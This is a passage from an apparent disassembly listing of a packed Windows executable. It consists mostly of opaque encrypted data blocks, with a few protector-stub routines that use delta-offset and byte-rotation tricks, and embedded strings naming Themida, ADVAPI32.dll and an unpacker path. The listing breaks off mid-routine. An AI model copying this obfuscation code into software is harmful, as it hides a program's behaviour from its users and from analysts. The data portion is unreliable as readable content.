550A513Bh, 0AC2F59C0h, 3F84F8h, 0D110CA8Eh dd 6AB9E53Ah, 987DAD00h, 5B19A8D8h, 1E1B005h, 8567833Dh dd 80F637B9h, 4FDAEB41h, 24A3EC33h, 0A38ABAh, 0FB2EBEC4h dd 94CC582h, 74768060h, 6BE39Ch, 0A85E8AE9h, 0ECD1CBF3h dd 68BFF803h, 0D72065h, 0D5334899h, 5EF128C1h, 0D88FB728h dd 1F830344h, 0FE67EF71h, 0D436AA9Fh, 0C3808063h, 0FD37A4C1h dd 98FEA1C0h, 0C08DB725h, 934FB266h, 30346A1h, 0F88A353h dd 0FBDAF082h, 130C999Ah, 0FEE200B8h, 0B3FC5D4Bh, 0A3191E60h dd 9116802Ch, 1F61100h, 0F93694F1h, 6E602946h, 0B5CF06A5h dd 4834FFD1h, 51ED302h, 43975231h, 737A928h, 90275AE0h dd 0B8B9C074h, 58688F60h, 0A201E807h, 8CCABCAFh, 0BB87111Dh dd 90A90A42h, 5CF1C548h, 55007882h, 16C7192Ah, 0C11D88A2h dd 88AA9836h, 31F43737h, 0A6BB58C0h, 12F80CFFh, 4419E832h dd 2F69F78h, 0C457A401h, 0A7D3B65Dh, 901F2860h, 0F11B6558h dd 0BB98006Fh, 2B8AE6CBh, 0C61C2979h, 842A93F6h, 0DD674100h dd 0EC94659h, 908FFA6Ah, 0E1283A5Ah, 540D2183h, 0EEF8FB18h dd 5D0319ABh, 831C5363h, 0A222A897h, 0BB18158Ah, 2785C6Ch dd 5A5D9C7Ah, 5CC66BF9h, 0CFD72500h, 61AB349Dh, 0EDFD00FBh dd 0D9646BB7h, 779035F7h, 9A37380Ch, 1510B8A7h, 8C618331h dd 982A8A0Eh, 934A9D61h, 0DC1800Ah, 21147661h, 0EAF5F2E4h dd 101F0567h, 134C89BFh, 657800D8h, 0D5C4665Eh, 1A8A0702h dd 60F37981h, 3F83A0h, 2CC8A568h, 0BABF5ACCh, 148E4E26h dd 39CB7A40h, 0E53EA6Ah, 1E02714h, 45664160h, 0BA58F968h dd 0B8252A30h, 9F6C290Eh, 909783FDh, 5FBDA88Ch, 5ED60058h dd 993047F7h, 9418FC5Ch, 0AB600AF0h, 0DBE1C0B3h, 624CFE54h dd 75F2151Dh, 7335F180h, 48A84AAh, 0B9DDE583h, 91748386h dd 95FC2180h, 0B80144h, 5A1999F1h, 53FB6A59h, 0DD02ABEAh dd 0E97216B3h, 0B046B7h, 0AD88E831h, 0C5987F7h, 845FFC02h dd 0C099D0A7h, 0B0A3AA2Ch, 0A61200F8h, 0E3BC8872h, 7B01A4C6h dd 7DED877Ch, 0F830D3ECh, 0B26A00E4h, 0C8998EBEh, 2050A6DFh dd 0CF065F68h, 1F2B284Bh, 0E453FE84h, 98DD097Bh, 220E2A80h dd 1888C33Ch, 0C9000292h, 0D7EAE040h, 0A7AE25h, 8AC28E86h dd 1DAF4F58h, 0FBB30E03h, 490ACh, 1E682631h, 10AF6D17h dd 28EA73Fh, 7BC9DE94h, 0AA90C3A5h, 3CF48098h, 2CB3054Fh dd 606C692Ch, 0EF573048h, 0BCAB45Ch, 1032B16Fh, 1E4C61F4h dd 80829BCFh, 0DCDA1BFBh, 0F726540Bh, 7D426C92h, 13BDFEC9h dd 38140E70h, 0B780D842h, 0B300B866h, 414C9288h, 2665A1Ch dd 0EEB07CE1h, 1C482409h, 0E500AD1Eh, 90CACD36h, 0F7BC102h dd 20069725h, 0A6894D4Bh, 0B8042C03h, 0D7596E63h, 0FE6C049Ah dd 80D10507h, 7FEBD52Dh, 27C0FA02h, 46873161h, 0CABA38A0h dd 5E8BAD97h, 0AAAC5E8h, 0DC5CC832h, 0F7C74300h, 0BEC86FC2h dd 718B0920h, 0A40489B1h, 6CA224h, 3EB2F844h, 7399134h dd 1864EFD9h, 15667020h, 58FAA9FCh, 49738B00h, 0A72C42Ch dd 0BAFB054h, 8A9AEF83h, 0A1A38018h, 84A8430Eh, 1BDF026Dh dd 0A480DF25h, 4F1A767Eh, 0EF47306h, 30A9F0AFh, 0FA89370Ah dd 9F005154h, 60F8508Dh, 0AF3BDB4h, 0CCB12061h, 0FFFF5F01h dd 6Ch db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53A752: ; CODE XREF: start:loc_4DE265j ; DATA XREF: start:loc_4DE086o jmp loc_53DA8B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 0C7000000h, 2FAC07Bh, 2 dup(0) dd 3E000000h, 0C702FFh, 80h dup(0) dd 8E000000h, 57E7h, 0Fh dup(0) dd 25000000h, 5A8Eh, 0Bh dup(0) dd 4000000h, 7FFE03h, 0 dd 0A4000000h, 0FFED00h, 0D0000000h, 0C08D0Bh, 0C9000000h dd 0A88467h, 3 dup(0) dd 0EA000000h, 9C000070h, 2486Bh, 4 dup(0) dd 0A7000000h, 5A26h, 0C9000000h, 0FF605Fh, 0D9000000h dd 7C1824h, 2 dup(0) dd 0E8000000h, 0F000A023h, 678FC4h, 9 dup(0) dd 54000000h, 12FFh, 4 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 4000000h, 7FFE03h, 0D8000000h, 9D00A17Fh, 0B36851h dd 3 dup(0) dd 8F000000h, 57EAh, 13h dup(0) dd 0B6000000h, 0FD30736Fh, 0A46D75h, 37000000h, 58EDh dd 4 dup(0) dd 0EC000000h, 96h, 77F500h, 3 dup(0) dd 39000000h, 6 dup(0) dd 50000000h, 0CF005ACDh, 7FFE04h, 0B4000000h, 5Fh, 4 dup(0) dd 4000000h, 27FFE03h, 7 dup(0) dd 57000000h, 0FFA890h, 2 dup(0) dd 0B8000000h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Fh, 424448Bh dd 0E0FFh, 1Ch dup(0) dd 28000000h, 370D8E9Dh, 7676741Dh, 3E024076h, 0FFA948h dd 2 dup(0) dd 99000000h, 77E7A0h, 0C6000000h, 0B86F68h, 4 dup(0) dd 4000000h, 5A81h, 5 dup(0) dd 7C000000h, 0A800586Eh, 2 dup(0) dd 53000000h, 0A38Dh, 2 dup(0) dd 82000000h, 9A77E78Bh, 56C6h, 2 dup(0) dd 0F9000000h, 722AE960h, 100594Eh, 77E600h, 70000000h dd 70h, 0CF000000h, 53B2h, 49000000h, 53E9h, 7 dup(0) dd 57000000h, 1887D5Eh, 2 dup(0) dd 0A000000h, 9F8Ch, 3 dup(0) dd 0E9000000h, 5971h, 6 dup(0) dd 9C000000h, 0Ah dup(0) dd 26000000h, 0A60053E0h, 57B6h, 0AD00h, 0 dd 1E000000h, 0FFA709h, 25900h, 83000000h, 40056F0h, 0C47FFE03h dd 0A9009F70h, 58EBh, 2 dup(0) dd 1000000h, 6 dup(0) dd 5000000h, 5A86h, 5 dup(0) dd 74000000h, 3894E2h, 0 dd 2A000000h, 0E20057B4h, 8A0FB5h, 15h dup(0) dd 24000000h, 1E62F2Dh, 18268Ch, 0 dd 9B000000h, 0C7A0AAh, 0A3000000h, 5558h, 7 dup(0) dd 0BE000000h, 23CF3Fh, 0 dd 50000000h, 12FFh, 0CB000000h, 130053B2h, 0EA5A7C5Dh dd 0EBB069h, 6 dup(0) dd 2B000000h, 979ECh, 2 dup(0) dd 0CF000000h, 2071C9h, 0 dd 0E7000000h, 7FFE53h, 0E000000h, 0C6F09FD0h, 40057CDh dd 7FFE03h, 0 dd 0F0000000h, 4FFFF8Ch, 0B57FFE03h, 77E75Ch, 10h dup(0) dd 95000000h, 0A399h, 5 dup(0) dd 98000000h, 0FFF9D0h, 2 dup(0) dd 0E3000000h, 53ABh, 0 dd 70000000h, 70h, 0Ch dup(0) dd 0FC000000h, 8001FCh, 0 dd 19000000h, 7 dup(0) dd 0E6000000h, 0E6h, 0 dd 1000000h, 0EB000000h, 0AE5304h, 2000000h, 6D000000h dd 0D44h, 0EA000000h, 70h, 13h dup(0) dd 0FA000000h, 0FF43B7h, 0 dd 20000000h, 5A65h, 21h dup(0) dd 0D1000000h, 203375h, 0FE000000h, 0F100AFA1h, 0FF605Fh dd 0Fh dup(0) dd 7D000000h, 5ACEh, 0FE000000h, 0FFFFFFh, 3 dup(0) dd 43000000h, 56h, 0Ah dup(0) dd 2000000h, 0 dd 0B600h, 4000000h, 7FFE03h, 6E000000h, 5B06h, 99000000h dd 3E005653h, 9E00h, 0 dd 2A000000h, 0FFFE8Bh, 2 dup(0) dd 39000000h, 0FFA577h, 0Ch dup(0) dd 80000000h, 68000000h, 77E821h, 0CD000000h, 57D2h, 0 dd 99000000h, 0B9009F94h, 5925h, 0 dd 1000000h, 4 dup(0) dd 0E7000000h, 0FD00A3A5h, 5729h, 5 dup(0) dd 2 dup(4000000h), 687FFE03h, 0A032h, 0 dd 54000000h, 340012FFh, 9F92h, 0 dd 0DB000000h, 1365FBh, 0Eh dup(0) dd 0A7000000h, 0B3005662h, 4B77F7EBh, 161h, 3 dup(0) dd 9C000000h, 5814h, 28000000h, 0Ah, 4000000h, 7FFE03h dd 0 dd 4000000h, 7FFE03h, 2 dup(0) dd 0B1000000h, 58F1h, 0F0000000h, 245Fh, 0 dd 0A7000000h, 5662h, 7 dup(0) dd 4E000000h, 98CA2Bh, 0DD000000h, 9F69h, 2 dup(0) dd 1000000h, 591Ch, 0 dd 0A5000000h, 0AD9366h, 5 dup(0) dd 0B3000000h, 53B7h, 4 dup(0) dd 30000000h, 312D34h, 4 dup(0) dd 0F0000000h, 77DD59h, 8000000h, 805008h, 6 dup(0) dd 31000000h, 0C4359E61h, 0F009F70h, 9FA0h, 0B2000000h dd 0FE76A1h, 6 dup(0) dd 52000000h, 0FE55A5h, 2 dup(0) dd 0EA000000h, 70h, 0D8000000h, 77E805h, 0 dd 1F000000h, 5FDF34h, 7 dup(0) dd 77E700h, 0B8000000h, 0A4000000h, 12FFh, 4000000h, 7FFE03h dd 7 dup(0) dd 2E000000h, 0FFA886h, 0 dd 4025B00h, 0E97FFE03h, 400h, 0F9000000h, 2AE960h, 7 dup(0) dd 4D000000h, 5824h, 24000h, 4 dup(0) dd 5000000h, 5A36h, 0D000000h, 0D005B16h, 0DF2B60h, 5 dup(0) dd 1000000h, 0 dd 0DF000000h, 30h, 2 dup(0) dd 92000000h, 9F22h, 0 dd 8D000000h, 0AC01AF69h, 7B00A19Bh, 97B5A1h, 2 dup(0) dd 6B000000h, 1200591Bh, 58A8h, 0F000000h, 9FA0h, 0 dd 64000000h, 0FFFF8Ch, 0Bh dup(0) dd 8000000h, 805008h, 4 dup(0) dd 14000000h, 5738h, 3 dup(0) dd 0ED000000h, 0FFFFC7h, 0 dd 0EA000000h, 0FC000070h, 4F8001FCh, 94005845h, 3 dup(0) dd 8D000000h, 76F38Dh, 2 dup(0) dd 7B000000h, 97B5A1h, 5 dup(0) dd 0C000000h, 4E0Bh, 4000000h, 0CC7FFE03h, 4FFFF91h, 7FFE03h dd 5 dup(0) dd 0B9000000h, 7A4903h, 34000000h, 477E79Eh, 7FFE03h, 2 dup(0) dd 0E9000000h, 400h, 3 dup(0) dd 22000000h, 321566h, 0EB000000h, 233ADh, 0CA000000h dd 0ADB1h, 0 dd 3B000000h, 0A1009F3Eh, 3, 0Ah dup(0) dd 0B5000000h, 77E75Ch, 3 dup(0) dd 71000000h, 28100C2h, 59A7h, 3 dup(0) dd 0E2000000h, 58F6h, 0D2000000h, 0F1005779h, 0FF605Fh dd 2000000h, 5A20h, 0AC000000h, 0FFED00h, 9 dup(0) dd 4000h, 6 dup(0) dd 4000000h, 0C07FFE03h, 3, 3 dup(0) dd 0EF000000h, 0A4C737h, 68000000h, 0E277E821h, 8A0FB5h dd 9 dup(0) dd 4000000h, 7FFE03h, 0F000000h, 9FA0h, 2 dup(0) dd 4D000000h, 5824h, 8 dup(0) dd 22000000h, 22222222h, 222222h, 0 dd 70003300h, 4 dup(0) dd 28000000h, 0FFFF97h, 4 dup(0) dd 64000000h, 5 dup(0) dd 80000000h, 0Eh, 3 dup(0) dd 0EA000000h, 70h, 8 dup(0) dd 0A0000000h, 0 dd 8C000000h, 73000000h, 0AD7272h, 6000000h, 57BFh, 0 dd 0A0000000h, 84FF7985h, 0CF7EF6E6h, 972071C9h, 7FFE03h dd 7 dup(0) dd 13000000h, 2FF2E1h, 0 dd 0DD000000h, 9F69h, 17000000h, 58C9h, 0 dd 0F3000000h, 0FFFFDFh, 0 dd 98000000h, 2D26DEFh, 0 dd 0F000000h, 9FA0h, 7 dup(0) dd 4000000h, 7FFE03h, 1000000h, 0 dd 70000000h, 70h, 0 dd 32000000h, 0DE38C5h, 2 dup(0) dd 29000000h, 0FEF7C2h, 0Ah dup(0) dd 0C2000000h, 0A9AF26h, 6 dup(0) dd 3000000h, 0E84BFF9Dh, 9CF1FDh, 0 dd 75000000h, 372FECh, 1BC0h, 0 dd 9E000000h, 575Bh, 1000000h, 7000000h, 0D5C224h, 70000000h dd 3 dup(0) dd 4C000000h, 5A08h, 0 dd 0F000000h, 9FA0h, 2 dup(0) dd 0C4000000h, 542B9Fh, 2 dup(0) dd 1000000h, 0 dd 86000000h, 77E7C4h, 4 dup(0) dd 70000000h, 70h, 2 dup(0) dd 8A000000h, 5980h, 5 dup(0) dd 93000000h, 9F93h, 68000000h, 77E821h, 5 dup(0) dd 79000000h, 6D25B8h, 0 dd 0E8000000h, 77E82Fh, 0C8000000h, 0FFFF9Ch, 0 dd 54000000h, 0BA0012FFh, 0DE77E7F7h, 9F2Bh, 0Ah dup(0) dd 18000000h, 3FD71Ah, 2 dup(0) dd 0DF000000h, 0A9C530h, 4 dup(0) dd 0F9000000h, 22A3DDBh, 6 dup(0) dd 0CD000000h, 77E776h, 2 dup(0) dd 0FB000000h, 0E0005A33h, 12FFh, 20000000h, 0BCE76396h dd 0FA0554h, 11h dup(0) dd 74000000h, 865559h, 7 dup(0) dd 72000000h, 594Eh, 0 dd 2F000010h, 3F7228h, 3 dup(0) dd 9B000000h, 5756h, 3 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 28000000h, 0FFFF97h, 11000000h, 4111111h, 7FFE03h, 2 dup(0) dd 45000000h, 9F31h, 0 dd 70h, 3000000h, 9854976Ah, 5AECh, 8 dup(0) dd 60000000h, 0A015h, 2 dup(0) dd 8D000000h, 76F38Dh, 86000000h, 77E7C4h, 2 dup(0) dd 48000000h, 77E79Eh, 4 dup(0) dd 0E0000000h, 0F0144F2Ah, 12FFh, 0 dd 0FC000000h, 0FFFFFCh, 3 dup(0) dd 0FC000000h, 8007FFh, 0CF000000h, 0FFE52Bh, 3 dup(0) dd 23000000h, 5700h, 6 dup(0) dd 99000000h, 24004960h, 242424h, 4 dup(0) dd 93000000h, 591Ah, 4 dup(0) dd 8000000h, 805008h, 98000000h, 0 dd 0F3000000h, 68005835h, 77E83Eh, 55000000h, 5A25h, 0E2000000h dd 8A0FB5h, 0 dd 74000000h, 0Eh dup(0) dd 0A1000000h, 5758h, 2 dup(0) dd 8D000000h, 967DA1h, 0 dd 7A000000h, 88183Bh, 1Ah dup(0) dd 0EB000000h, 30AE5304h, 0FFFB9Dh, 0 dd 0A0000000h, 4 dup(0) dd 0F9000000h, 5A64h, 6 dup(0) dd 64000000h, 5A79h, 0D2000000h, 56B1h, 7 dup(0) dd 0EA000000h, 70h, 52000000h, 61747365h, 70417472h, 78652E70h dd 65h, 3E000000h, 5B00BC00h, 3, 2 dup(0) dd 64000000h, 0FFFF8Ch, 11h dup(0) dd 0B0000000h, 1DFFFh, 0 dd 0C5000000h, 0C028D04h, 0A00000A5h, 2A62AEh, 0 dd 78000000h, 510001C1h, 5B91h, 84000000h, 0DD000000h dd 9F69h, 2 dup(0) dd 6F000390h, 92DA0Eh, 10h dup(0) dd 0BD000000h, 7919F3h, 0C3000000h, 15A66h, 10h dup(0) dd 4000000h, 7FFE03h, 0 dd 71000000h, 0A992D90Eh, 8F005A05h, 53D7h, 2 dup(0) dd 0BA000000h, 13ED3h, 6 dup(0) dd 4000000h, 7FFE03h, 17h dup(0) dd 0A7000000h, 0F005662h, 77F52Eh, 2 dup(0) dd 1C000000h, 72CEF4h, 0 dd 34000000h, 0A1B1h, 6 dup(0) dd 0B0000000h, 20FFFh, 78000000h, 4 dup(0) dd 0CF000000h, 2071C9h, 6 dup(0) dd 0F7000000h, 9F09h, 5 dup(0) dd 60000000h, 0E057CAh, 90000000h, 2 dup(0) dd 0BB000000h, 7AD216h, 0 dd 9000000h, 57EAh, 0 dd 33000000h, 7FA6E5h, 0 dd 0E6000000h, 9E0Fh, 2Bh dup(0) dd 5B000000h, 9F91h, 6 dup(0) dd 1C000000h, 12FFh, 2 dup(0) dd 90000000h, 0FDFFFF8Fh, 77E7A5h, 0 dd 0A5009F00h, 0C6097D8Eh, 0FFA4D4h, 0C8000000h, 0ECE0BACFh dd 5ABBh, 0Bh dup(0) dd 97000000h, 380F6Bh, 0DF000000h, 0A9C530h, 76000000h dd 5A16h, 10000000h, 2B4923h, 0AEh dup(0) dd 47000000h, 0FFA6DAh, 24h dup(0) dd 60000000h, 0FF0012FFh, 0DAFFFFFFh, 56EDh, 68000000h dd 9EB1h, 4 dup(0) dd 32000000h, 0F4FF4F09h, 5Ah, 0EA000000h, 70h, 0D0000000h dd 0 dd 0F000000h, 0A009FA0h, 0D1009F8Ch, 0C08DD7h, 0 dd 81000000h, 58EAh, 3 dup(0) dd 18000000h, 77E806h, 0 dd 70000000h, 6D705Fh, 3E000000h, 53E6h, 60000000h, 6AC08Bh dd 1000000h, 0 dd 0A1000000h, 9A005758h, 2277DD18h, 0DE922Ch, 4 dup(0) dd 77DD00h, 6 dup(0) dd 3D000000h, 0A428A9h, 11h dup(0) dd 0EA000000h, 70h, 7 dup(0) dd 1B000000h, 3DFFh, 3 dup(0) dd 0C1000000h, 57C8h, 0D9000000h, 5A05h, 4 dup(0) dd 81000000h, 9D0058EAh, 0FF50BCh, 5 dup(0) dd 57000000h, 20720Dh, 9 dup(0) dd 70000000h, 70h, 3 dup(0) dd 1000000h, 4E000000h, 0AC98CA2Bh, 5Bh, 2 dup(0) dd 88000000h, 5 dup(0) dd 0EC000000h, 6Bh, 0 dd 5000000h, 74005A36h, 7FFE73h, 0 dd 0DD000000h, 9F69h, 4 dup(0) dd 0FC000000h, 8001FCh, 4 dup(0) dd 2A000000h, 53E1h, 0 dd 77D400h, 7 dup(0) dd 0EB000000h, 0AE5304h, 0 dd 0FF000000h, 2B5EFFFDh, 86000000h, 477EA9h, 4000000h dd 7FFE03h, 0DB0h, 2 dup(0) dd 74000000h, 0FECB2Ch, 5 dup(0) dd 0B0000000h, 9F6Ch, 3 dup(0) dd 13000000h, 21005854h, 212121h, 3 dup(0) dd 0A7025800h, 5662h, 0Bh dup(0) dd 91000000h, 0DA0057F5h, 56EDh, 0EB000000h, 0C85C5C1Eh dd 591Bh, 68000000h, 0A015h, 2 dup(0) dd 0C0000000h, 5960h, 0FD000000h, 58A3h, 0 dd 59000000h, 4C113D2Ah, 1Bh, 5 dup(0) dd 5B000000h, 0F8009F91h, 7FAFF7h, 3 dup(0) dd 0F4000000h, 0FFA79Bh, 0 dd 43004000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Dh dup(0) dd 94000000h, 3C005A29h, 9E00h, 0 dd 0D0000000h, 6D760h, 0 dd 9E00h, 56000000h, 9FFAh, 0 dd 0C9000000h, 5796h, 4 dup(0) dd 84000000h, 28000075h, 0FFFF97h, 2 dup(0) dd 54000000h, 630012FFh, 77E779h, 0 dd 0D7000000h, 77DD23h, 7A000000h, 77E841h, 33000000h dd 7B0056F0h, 53D7h, 34000000h, 19Dh, 2 dup(0) dd 30000000h, 359E61h, 4 dup(0) dd 0EA000000h, 70h, 4 dup(0) dd 0A8000000h, 0C2005B88h, 0A9AF26h, 0 dd 0A7000000h, 5662h, 60000000h, 0A015h, 4DC0h, 5 dup(0) dd 3C000000h, 262E67h, 0 dd 0FD000000h, 0E1C7F7FFh, 0A020CBh, 4 dup(0) dd 177E600h, 54000000h, 1009ED5h, 3E000000h, 0DFBFh, 0EF000000h dd 3777E793h, 58EDh, 2 dup(0) dd 0D2028D00h, 0B1A1C53Dh, 6D0058C0h, 5AC8h, 40003A8h dd 7FFE03h, 6 dup(0) dd 4000000h, 5 dup(0) dd 4000000h, 17FFE03h, 0D0000000h, 9 dup(0) dd 0B0000000h, 590Dh, 71000000h, 0A90058D8h, 0FC8CA9EAh dd 7FFEFFh, 3 dup(0) dd 0CF000000h, 2071C9h, 2 dup(0) dd 0CB000000h, 0CC005A86h, 77DD5Eh, 2A000000h, 600053E1h dd 82000008h, 77E78Bh, 2E000000h, 3005A29h, 20h, 0C0000000h dd 56EDh, 6000000h, 77E6D7h, 4 dup(0) dd 0FA000000h, 0AC36C625h, 2 dup(0) dd 68000000h, 0A015h, 2 dup(0) dd 70000000h, 0F4000200h, 0FFFF90h, 25000000h, 1148BAh dd 2 dup(0) dd 60000000h, 500A015h, 40A2801h, 7FFE03h, 2 dup(0) dd 71000000h, 5777h, 9B000000h, 43005756h, 49575C3Ah, 574F444Eh dd 79535C53h, 6D657473h, 415C3233h, 50415644h, 2E323349h dd 6C6C64h, 3Eh dup(0) dd 36000000h, 0F6342Ch, 9 dup(0) dd 0A4000000h, 4000000h, 3, 3 dup(0) dd 4000000h, 7FFE03h, 5 dup(0) dd 0EA000000h, 9000070h, 5A09h, 5 dup(0) dd 0FC000000h, 2487Fh, 3 dup(0) dd 16000000h, 0A173h, 6 dup(0) dd 0FB000000h, 14005739h, 53D5h, 19000000h, 8001ACh, 4000000h dd 7FFE03h, 3 dup(0) dd 0C6000000h, 0CE005A20h, 5861h, 5 dup(0) dd 11000000h, 1B4F9Ch, 0 dd 70000000h, 70h, 2 dup(0) dd 7B000000h, 8, 0 dd 1D000000h, 0FFAC54h, 5 dup(0) dd 8025A00h, 4805008h, 4 dup(0) dd 0EB000000h, 233ADh, 54000000h, 696D6568h, 6164h, 1Eh dup(0) dd 28000000h, 4002h, 0 dd 0D1000000h, 7, 0 dd 1C000000h, 0A0B567h, 99000000h, 0E75C74h, 0D2000000h dd 0F09479h, 3 dup(0) dd 16000000h, 4FFFFB1h, 4C7FFE03h, 6A000014h, 5A25h, 5 dup(0) dd 4000000h, 0A47FFE03h, 1E0016FFh, 0Eh, 24000000h, 36FF51A0h dd 38363636h, 0DD005252h, 81009F69h, 5765h, 5 dup(0) dd 0BB000000h, 3CA4F5h, 0 dd 8D000000h, 8EB38Dh, 45000000h, 5B1Eh, 2 dup(0) dd 0C000000h, 24000h, 4 dup(0) dd 0C000000h, 0FFFFA5h, 37000000h, 0BA009FA0h, 587278h dd 4010h, 0 dd 2000000h, 0 dd 4000000h, 17FFE03h, 48000000h, 77E79Eh, 0A0000000h dd 30011F2Ch, 70h, 0 dd 34000000h, 1FFFF23h, 54000000h, 3 dup(0) dd 0D0000000h, 4779h, 7 dup(0) dd 6C000000h, 6AFFA5EAh, 77D4C9h, 6 dup(0) dd 25900h, 2 dup(0) dd 33000000h, 2 dup(33333333h), 333333h, 0 dd 0F000000h, 0FFA5EBh, 0 dd 0A8000000h, 5805h, 2 dup(0) dd 4C000000h, 6C0056E4h, 7 dup(0) dd 0A3000000h, 0BCDA680h, 8877F518h, 6C76h, 2 dup(0) dd 0C0000000h, 1042DEh, 0 dd 8E000000h, 167F625h, 0 dd 0F4000000h, 8005F6h, 3 dup(0) dd 0EB000000h, 0F5A904h, 2000000h, 2DFC17h, 0 dd 4000000h, 0CF7FFE03h, 2071C9h, 4 dup(0) dd 8D000000h, 0E9967DA1h, 0FF77EBA6h, 36D77Fh, 0 dd 5B000000h, 56F0h, 9 dup(0) dd 0AD000000h, 5756h, 0 dd 0A4000000h, 12FFh, 0 dd 51000000h, 646E1h, 3 dup(0) dd 2000000h, 0Ah dup(0) dd 0D6000000h, 0DD005851h, 9F69h, 5 dup(0) dd 0B8000000h, 2E0A9Fh, 4 dup(0) dd 33000000h, 5E28CDh, 0 dd 66000000h, 8CCAC3h, 50000000h, 5746h, 6Eh dup(0) dd 0C1000000h, 6A0057C8h, 77D4C9h, 0F000000h, 4009FA0h dd 137FFE03h, 40053D5h, 7FFE03h, 0 dd 0CC000000h, 1777B090h, 3E000000h, 7C009E00h, 0E2000000h dd 0F09406h, 3 dup(0) dd 4DC0h, 4 dup(0) dd 0B8000000h, 2486Ch, 0 dd 12000000h, 370058A8h, 1C009F9Ch, 7DF6DFh, 0 dd 17000000h, 111F8F8h, 40000000h, 76B41Bh, 2 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 14000000h, 0DE0h, 5 dup(0) dd 0E4000000h, 4 dup(0) dd 0C000000h, 0FFFFFFA5h, 0B3EEDBEFh, 31C999h, 2 dup(0) dd 68000000h, 0A015h, 28000000h, 35004002h, 0E4CBFh, 2 dup(0) dd 0DF000000h, 0A9C530h, 5 dup(0) dd 0FC000000h, 0AE7Fh, 0 dd 12000000h, 0C40057A9h, 0BC0012FFh, 7FA55Dh, 4 dup(0) dd 9F000000h, 648281h, 83000000h, 77F7EEh, 2 dup(0) dd 0EA000000h, 0C000070h, 244D9870h, 0DF24E9AEh, 4CA9C530h dd 0FFFF9Fh, 0Bh dup(0) dd 37000000h, 77E7A8h, 2 dup(0) dd 0A7000000h, 227026h, 0 dd 0DA000000h, 27EDA6h, 4 dup(0) dd 0D8000000h, 4001h, 0 dd 0DA000000h, 2DE948h, 0 dd 81000000h, 5765h, 0 dd 0DF000000h, 30h, 3 dup(0) dd 4000000h, 7FFE03h, 8 dup(0) dd 2000000h, 0 dd 1C000000h, 12FFh, 0D6000000h, 1470CAh, 2 dup(0) dd 0B3000000h, 53B7h, 0 dd 0DF000000h, 61D005h, 30h dup(0) dd 2E000000h, 9F5Eh, 5 dup(0) dd 5B000000h, 53BBh, 18h dup(0) dd 43000000h, 0A0000056h, 0FC000003h, 5A26h, 0D0000000h dd 0F9C08D0Bh, 592AE960h, 0FFA99Dh, 0 dd 8D000000h, 2C43A78Dh, 0ADFFFFFFh, 5E0057E5h db 0ACh, 0E7h, 77h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53DA8B: ; CODE XREF: start:loc_53A752j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 64E3343h mov [ebp+64E3081h], edx mov [ebp+64E2C35h], esi mov [ebp+64E1595h], eax cmp dword ptr [ebp+64E1A39h], 0 jz short loc_53DAC3 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53DAC3: ; CODE XREF: start+5FAA1j mov eax, [esp+40h+var_1C] mov [ebp+64E198Dh], eax push 45h call sub_53DB77 push 783749Ah call sub_53DBBD push 0A894B25h call sub_53DBBD jmp loc_53DD01 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53DB77 proc near ; CODE XREF: start+5FABBp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 64E3431h mov ebx, edx mov [ebp+var_28], 0 loc_53DB93: ; CODE XREF: sub_53DB77+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53DBB2 mov eax, [ebp+arg_0] mov [ebx+64E339Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_53DB93 ; --------------------------------------------------------------------------- loc_53DBB2: ; CODE XREF: sub_53DB77+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53DB77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53DBBD proc near ; CODE XREF: start+5FAC5p start+5FACFp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 64E347Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53DBE3: ; CODE XREF: sub_53DBBD+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53DBE3 mov [ebp+var_84], 0 lea edi, [edx+64E339Bh] lea esi, [ebp+var_80] loc_53DC13: ; CODE XREF: sub_53DBBD+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53DC1F: ; CODE XREF: sub_53DBBD+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53DC1F imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53DC13 popa leave retn 4 sub_53DBBD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53DC5D ; --------------------------------------------------------------------------- loc_53DC59: ; CODE 